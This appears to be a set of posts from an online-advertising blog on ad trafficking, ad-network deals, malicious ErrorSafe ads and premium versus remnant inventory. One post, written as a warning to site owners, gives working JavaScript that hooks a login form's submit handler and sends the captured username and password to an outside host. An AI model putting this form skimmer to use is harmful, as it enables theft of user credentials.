Mike On Ads

Most people I know fall rather squarely on either the “business side” (marketing, sales, account management) or the “tech side” (engineer, support, product management, etc.). If you’re in doubt, there’s a rather simple test that almost always works to identify who is who. Imagine this situation, an ad is shown on a website. The advertiser is “Cingular”, the publisher is the New York Times. There are two brokers involved in this transaction, ad-networks ValueClick and Advertising.com. Advertising.com has a direct relationship with the New York Times and daisy-chains the impression to ValueClick which works directly with Cingular. Each party is using their own tracking system.

I can draw this in two different ways:

The difference here is very subtle. Which one do you think is correct? #1 or #2? If you were at a white board explaining this situation to someone how would you draw it? Think about it for a second before reading on.

In my experience, those who pick #1 are tech-inclined whereas picking #2 indicates an inclination towards the business side of things. Why? Pretty simple actually. This ad-impression can be thought of in two ways, a series of financial transactions between four business entities OR a series of HTTP redirects. Technically the impression starts when the user visits the New York Times and flows towards the advertiser via a series of ad tags to Ad.com, then Valueclick and finally Cingular. Financially the money starts with Cingular and flows first to ValueClick, then Ad.com and finally to the New York Times.

A tech person tends to follow the flow of the ad-call whereas a business person tends to follow the money. When I first started in online advertising I would only draw #1 on a white board, but since have learned to change the way I draw things depending on who I’m talking to.

So take this scenario. Your company just signed a huge deal with Avenue-A. You’ve just gotten a million dollars to spend for the quarter, it’s the big break you’ve been waiting for! You send your ops guy Marvin to coordinate the details with Avenue-A’s people and open a bottle of bubbly to celebrate. A week later you pull some reports and realize that you haven’t run a single impression yet. You yell out —

   ”MAARVVIIIIIIIIIIIIN!!!!!”.
   ”Yes sir?”
   ”Why the hell isn’t the Avenue-A deal running?”
   ”Oh, we couldn’t get click-tracking to work yet. I’ve got a ticket into support.”

Sound familiar? How about trying to get behavioral pixels live on a publisher’s page? Enabling age & gender passing on ad-calls for custom optimization? These mundane seemingly simple tasks can take weeks. Why? normal people using complex technical products.

Read this quote from the MSN Games 300×250 ad standards:

(A) Click-through tracking is not available on the following advertising elements:
   • HTML advertising elements that use method=”POST” for form submittal.
   • Rich media elements that use embedded or compiled URL information (Macromedia Flash creatives that do not use the FS command, for example).
   • Third party served HTML (IFrame) campaigns.
(B) Cache-busting is available automatically for pre-approved third party served agencies, others by request only. Exception: Third party served click URLs for hard-coded placements (text links, etc.) are not cache busted. Therefore, MSN click data for hard-coded placements using third party served click URLs may not match click data from the third party agency. Please enter the Cache busting tags; MSN is not responsible for entering these tags.

I can’t be the only one that thinks that this is absolutely ridiculous. How can it possibly take five days to get an ad live? This is a process that should take mere hours! Why should people know the difference between method=”GET” and “POST”? Your average media-buyer probably has a degree in English, your ad-ops guy? History? Philosophy? It shouldn’t be the least bit surprising that these people have so much trouble doing what those of us with technical knowledge may find simple.

By nature what we do is technical, it is called online advertising! Purely from a technical perspective we cant buy or sell inventory without snippets of HTML that enable communication and highly complex adservers to do decisioning and optimization. What makes matters worse is that most ad-impressions involve two adservers, if not many more. The way things work today, these systems can’t talk to each-other directly and all communication must pass through the browser, which only reads HTML, XML, Javascript, Java, etc… more technical things!

Yet, just because adservers can’t communicate without HTML, Javascript and redirects doesn’t mean that users should have to worry about these details. Come on! Think of WordPress or Blogger, both services that have brought web-publishing to the masses. They have abstracted almost all technical aspects of blogging allowing anybody to post their thoughts online — why can’t we do the same in our products? I’m not sure I have a solution right this second, but perhaps we should begin by re-examining what is considered “normal” today. Here’s my list:

1. Knowledge of HTML is needed to enable clicktracking/li>
2. 5 days is considered normal and acceptable turnaround time for trafficking third party ads
3. Passing user data between systems involves knowledge of querystrings
4. Adservers have vastly different standards, heck, users need to know whether to encode or not
5. None of the above can be implemented without a “test” to confirm it really works

Most of the above stem from the fact that we have many different platforms, a situation that is unlikely to change in the foreseeable future. Sure, if both the advertiser and the publisher are using one system things are easy — DART has internal redirects, Right Media has linking and I’m sure others have or will invent similar concepts. The problem is, there will always be advertisers and publishers that will work with all three systems — which the way things look today means more redirects, click-tracking and long delays to activate campaigns or setup tags.

So product managers, architects and engineers, I think it’s time to put on your thinking caps to figure out how systems can better work together to make the day to day lives of the people who actually use said systems much easier. A million dollar Avenue-A deal should never hinge on a trafficker editing the HTML of the ad-tags to enable click-tracking.

Seems 50-cent wasn’t too happy about an ad on Myspace that asks the user to shoot the rapper to win a free something or other (xbox, ps3, whatever). Article can be found here.

I remember this ad very well as I used to manage some publisher relationships when this first came out. If I remember correctly there were about 5 different variations on the ad, each time a publisher would ban one iteration the advertisers would come out with a new slightly less offensive one — it started with a bloody ’shoot the rapper’, then the blood was removed and then various “beat the rapper” and finally I think it settled on “guess the rapper” with a multiple choice between various famous rappers. Needless to say publishers weren’t too happy with any of the above.

What this shows is how much advertisers are willing to push the envelope. The more offensive an ad, the more likely someone is to click on it. I know, strange but true. And guess what, once you’re on the landing page it’ no longer about the rapper but about getting a free Xbox or PS3 by completing all sorts of offers. If you don’t care about your “brand” why care if you offend your users?

I wasn’t able to find this ad running anywhere so I’d much appreciate it if someone could send me a copy or link to the ad.

Just saw this ad on CNN.com. It takes the traditional “punch the monkey” ad to a new level — a game that’s actually semi-enjoyable and not overly obnoxious. They’ve even added a “tell a friend” button so that you can email the “game” to your friends. I’m guessing that the conversion rate on this ad is pretty high.

-Mike

I’ve been quite a few emails about my ErrorSafe page, both from publisher and end-users, but not a single one from an ad-network. Interestingly I’ve gotten two separate comlaints about ErrorSafe on CareerBuilder.com. The first complaint I received was from April 22nd:

Just came across this information after receiving an odd message from drivecleaner.com. I was on Careerbuilder.com at the time, which doesn’t surprise me since my resume was “picked up” by some email scammers (phishing for SSN#s I guess) from that site recently. I have also been browsing EBay quite a bit lately. What exactly do I have to fear, as a consumer, from these heavy-traffic sites? I rarely click on the types of ads you have shown here, but now I NEVER will. I’ll just go directly to any website I want to visit. I work on an Apple MacBook,which I believe to be far less susceptible to viruses, and this drivecleaner showed up while I was browsing in Firefox. Any thoughts?

Then this morning, I received a second one:

Hello, I know very little about techie things, but i am on a mac and get the errorsafe messages on the careerbuilder website.

So, I thought I’d take a look, and sure enough what do I see?

Apologies for the crappy windows paint outlining but what you see there is a “mysurvey4u.com” ad on careerbuilder.com. If this name doesn’t ring a bell, I’ve already identified this as a fake front for running Errorsafe/Drivecleaner/Winfixer ads on my Errorsafe Page. Of course I have a tracer open, and what do we see? (Displayed URLs edited for clarity)

14:03:40.937[344ms][total 344ms] Status: 200[OK] GET http://oascentral.careerbuilder.com/RealMedia/ads/adstream_sx.ads/careerbuilder.com/JobSeeker[...]

14:03:41.640[375ms][total 375ms] Status: 200[OK] GET http://a248.e.akamai.net/[...]/oascentral-s.realmedia.com/RealMedia/[...]/Mysurveys_Burnads_120_ROS_Jul07[...]

Now I”m mostly guessing here, but it looks to me like CareerBuilder is hosting this creative themselves using 24/7 RealMedia’s Open Adstream adserver. Looking at the URL I’m going to guess that the creative for MySurvey4U was supplied by “BurnAds” — which from their website appears to be yet another online advertising/marketing/ad-network.

If you happen to have a contact at CareerBuilder they could probably use a little education on ad-safety.

Users, not advertisers

A friend directed me to an interesting post on Publishing 2.0 — ‘Ad Platforms vs. Ad Networks: Who Controls The Advertiser Relationship?‘ — using the new Time Inc/Quigo relationship as an example the author argues that “As more advertising dollars pour online [...] whoever controls the advertiser relationship holds all the cards”.

This comment made me think for a while about the publishers role in online advertising. Is it really all about building advertiser relationships? Most publishers that I have talked to over the past few years split their media into two buckets — premium & remnant. One sales force focuses on agencies and another on ad-networks and direct marketers. Often the second salesforce is one or two people who spend their days prioritizing networks.

Although advertiser relationships matter a lot on an individual deal basis, but I don’t see them as something that can be “controlled”. Think about it — lets say you have a great “premium” sales guy, Joe, who has solid relationships with two large agencies. He used to work at one and has a whole set of friends at the other. Quarter after quarter Joe just keeps bringing in tons of business. Well, what happens when Joe is poached by another company and leaves? Was the strength of the relationship based on Joe or on the company? What if Joe calls up the agencies from his new job and tries to convince them to move their dollars to his new gig? Who will the agency go with? It’s not that relationships aren’t valuable, but they are largely based on personal relationships between people — something that is far more fragile than a deep technical integration.

If it’s not advertiser relationships, what should publishers focus on? First and foremost every publisher should focus on increasing the user-experience on his properties, attracing more and higher quality users and collecting more information about said users. I think Niki Scevak has it right in this post — Running an Ad Network — where Niki argues “You’ve heard me crap on about the business model of ad networks enough but here it is again: over time all the value goes to the person who owns the consumer relationship.“. It’ kind of like that movie Field of Dreams, “If you build it, he will come”. Not that you don’t still have to work to bring in the advertiser dollars, but quality users make selling a lot easier.

The means of trading

So lets look at the example Time/Quigo cited above. Pre-Quigo, Time used Adsense because it enabled both contextual based buying and smaller credit-card based advertising on Time Inc. Adsense was able to provide a certain level of efficient buying and hence was able to pay higher rates than other advertisers. Citing from the Media Post article on the subject, Quigo states that “This is about publishers who want control over the ad-serving process, rather than outsourcing it to a blind network.” Well, I call bullshit!

This isn’t about Time gaining control — they’re simply transferring control from one party to another. Before the deal they had control over their users and inventory, and now they still have control over their users and inventory. The only real difference is that instead of sharing some margin with Google & Yahoo they are sharing some margin with Quigo. Quigo is getting exclusive control over the contextual advertising on Time Inc. Not convinced? Why don’t we take a look at the terms of service of a contextual buy on Time Inc

1. Display of Advertisement. Advertiser agrees that Quigo may display the advertisement Advertiser places in the AdSonar interface (the “Advertisement”) on the Quigo Network through the AdSonar Service and its affiliated sites on which Quigo places AdSonar advertisements

That’s right — this isn’t an exclusive Time Inc contextual advertising account I just signed up for, it’s a full-fledged Quigo account, it even works when I go login through the regular Adsonar login portal. So Time transferred control over the means of serving the ad from Google & Yahoo over to Quigo. So why do we care? The thing that is up for control is the means by which ad-impressions are traded or transacted. In the example above, Quigo may have tricked Time into thinking they were getting more control but really it’s three giants battling over one method (contextual matching) of serving ads on Time Inc’s inventory.

I find it hard to believe that this is financially the best move for Time. If Google or Yahoo pays a higher rate than Quigo, do you really care whether you are “selling directly” or not? Which brings me to my last thought of the day. Assuming a publisher has built up a quality user base, the focus should be on empowering all advertisers to best monetize the available inventory. Who cares if it’s Yahoo, Google, Quigo or even Bidclix! Whomever pays the most should get the inventory. If today that’s Google, great, but if tomorrow it’s Quigo then give more to them.

Next up

I realize that this post leaves a lot of questions unanswered — in my next posts I’ll talk more about maximizing revenue by pricing networks efficiently and also about how ad-networks, exchanges and technology providers are fighting for control over the means by which ad-inventory is traded.

Microsoft just published a paper titled Demographic Prediction Based on User’s Browsing Behavior. Humm… Microsoft… get with the party. Seems your “research paper” is remarkably similar to this patent — User profile classification by web usage analysis, which was filed by Xerox on November 1st, 2001. Microsoft claims a 30% improvement in accuracy… Xerox claims 76% accuracy back in 2001 and MSFT 79% in 2007..

The technology (although not so “new”) is fascinating. Based on the websites that you visit, four out of five times a smart statistician can predict your gender correctly.

I spent the last hour trying to prove this idea I’ve had for a while. Say you wanted to steal user’s login information for various social networking sites to steal their personal info and do who knows what with it. Well guess what… super easy to do if you can somehow get an ad (either third party or flash) on the login page of your victim site. This shouldn’t be too difficult since so many sites have login forms on practically every page.

Ok, how do you do it? Lets pretend you have a web page that has the following form on it:

<form method=\"post\" action=\"do_login.php\" id=\"passform\">
<b>User:</b><input type=\"text\" name=\"username\" /><br>
<b>Pass:</b><input type=\"password\" name=\"mypass\" /><br>
<input id=\"submitbutton\" type=\"submit\" value=\"Submit password\"/>
</form>

This is one of the most basic of HTML forms that simply takes a username and password and submits it to a login page. Normally when you fill out this form you click submit and end up being logged into the website. Now, lets imagine that we show an ad on this page. Our sketchy player above decides that he is going to steal your info using an advertisement, and guess what, it’s remarkably easy. Lets say we have the following ad-tag on the page:

<script type=\"text/javascript\" src=\"http://www.tenantnetwork.com/badad.js\"></script>

This is a very standard way of serving ads. You’ll see it pretty much through the web. Also, there are various ways through which you can execute javascript on the browser. You can either do this directly if you can serve a third party tag, or flash has various mechanisms where you can execute javascript as well. So, how do we steal your info? Super easy… here’s the javascript to do it

 theForm = document.forms[\'passform\'];
 oldsubmit = theForm.onsubmit;
 theForm.onsubmit = function () {
    user = theForm.childNodes[2].value;
    pass = theForm.childNodes[6].value;
    window.open(\'http://www.tenantnetwork.com/steal_pass.php?pass=\' + pass + \'&user=\' + user,
                 \"mywindow\",\"menubar=0,resizable=0,width=350,height=150\");
    oldsubmit();
 } ;

 document.write(\'<img src=\"http://www.tenantnetwork.com/samplead.gif\"/>\');

So what does this code do? We store a copy of the original form submission JS into “oldsubmit”, then we simply replace the existing form submit and grab the username and password you’ve input and then send it to a third party website. I happened to choose my failed real estate site, was the only third party I could get access to =). Not bad right? Note that I transmitted the info using a popup window but I’m sure the smarter guys out there could think of a hundred different ways of doing this.

Own a website that people login to? I would highly recommend removing any and all untrusted third party content from pages that have sensitive information.

I’ve put together a very simple working example here. This page shows a login form with a third party ad. Try putting in a random username and pass, you should see a popup from the “third party” that served the ad with a nice little message =).

IAB released some more stats this past week, and it looks like performance spending is growing quickly. In 2005 performance based ads were 41% of online display dollar, and this year it’s 47%. (Also note 2005 it was 5.1 billion and 2006 7.9 billion). Huge growth!

Read the article on MediaPost here .

If you haven’t already, be sure to read Part I and Part II first.

We’ve already discussed my two major reasons why we should stop talking about premium vs. remnant, namely:

1. Inventory is deemed premium based on the buyer and has absolutely nothing to do at all with the actual ad impression beind sold
2. The best techniques for maximizing revenue for publishers are not specific to performance or brand

In this point I’d like to talk about remnant specifically. Namely, looking at recent patterns I expect non reserved inventory to grow at a far faster pace than reserved inventory. Specifically, I think more and more dollars are going to shift from traditional reserved inventory over to unreserved. Here are five reasons why:

1. Brand advertisers are starting to care about performance

All advertisers are realizing how much quality matters. Although brand metrics might be fuzzier than pure conversion metrics, an ad on Yahoo’s homepage will perform better than on a random article page on the New York Times. More and more brand advertisers are realizing that they can efficiently track performance with online media. The challenge is, how do you track performance when there is no direct online purchase? Sure, clicks measure some sort of performance, but a click from one person might be worth far less than a click from another.

As more inventory becomes available, I expect brand focused advertisers to think of more and more inventive ways to track campaign performance. My Coke Rewards is a great example of a traditional brand advertiser tying traditional sales with online performance. I’ve seen these ads everywhere and I’m sure they’re tracking signups and repeat visitors per media buy.

2. You cannot reserve inventory and optimize on performance

Reserving means setting a price before you buy. Setting a price before you buy means that you can’t adjust your price based on how different slices of inventory perform. Although you can track performance with a reserved/premium buy, you cannot easily optimize. Changing pricing will be a manual and slow process.

3. Ad quality differs greatly between publishers

I’ve looked at a lot of data over the past couple years and performance between sites differs greatly. Some sites will literally have 100x the click and conversion rates over crappier sites. Quality impacts price, and this huge differential in price makes it rather difficult to reserve inventory. Tie this with #1 and #2 above and for any advertiser to start buying effectively they are going to have to start pricing based on performance. This means fewer bulk fixed reserved buys and more CPC, CPA and easily adjusted CPM campaigns. As I pointed out in Part I and Part II of this series, whether or not inventory if premium or remnant depends solely on who the buyer of the impression is, not the actual impression. Hence, fewer reserved guaranteed means more remnant inventory.

4. Optimization technologies are getting better

It’s amazing what people are coming up with these days. Optimization technologies are getting a lot of press these days, and it seems that at every Ad-Tech there are a couple dozen new companies with some new cool modeling technology. I’ve worked with a couple of these companies and it seems that every one I talk to is better than the last. As these technologies improve, the incentive to buy based on performance becomes far more interesting than buying a fixed chunk of inventory at a flat rate — hence, more remnant.

5. User-Gen content is growing like crazy

There’s just a plain shitload of user-gen content out there nowadays. Myspace, Facebook, Youtube, Xanga, Photobucket… shall I keep going? Most of this inventory goes unreserved. Everyone is expecting this to grow more and more.

Thoughts

A lot of the arguments above are dependent on my definition of premium as any reserved inventory. Essentially I believe that more and more online buying is going to move towards performance based pricing. This will strike a good blow to the traditional “premium vs. remnant” selling strategies. It’s also about time we start to talk about the marketplace as a whole, no more about two separate worlds.

In fact, I think we should scrap the word ‘remnant’ altogether. Hell, lets scrap the word premium too! Instead of these two, lets talk about — pre-reserved vs. optimized inventory. Or, the forward-contract vs spot-exchange markets. How about relationship vs. performance based advertisers? Anything but premium vs. remnant!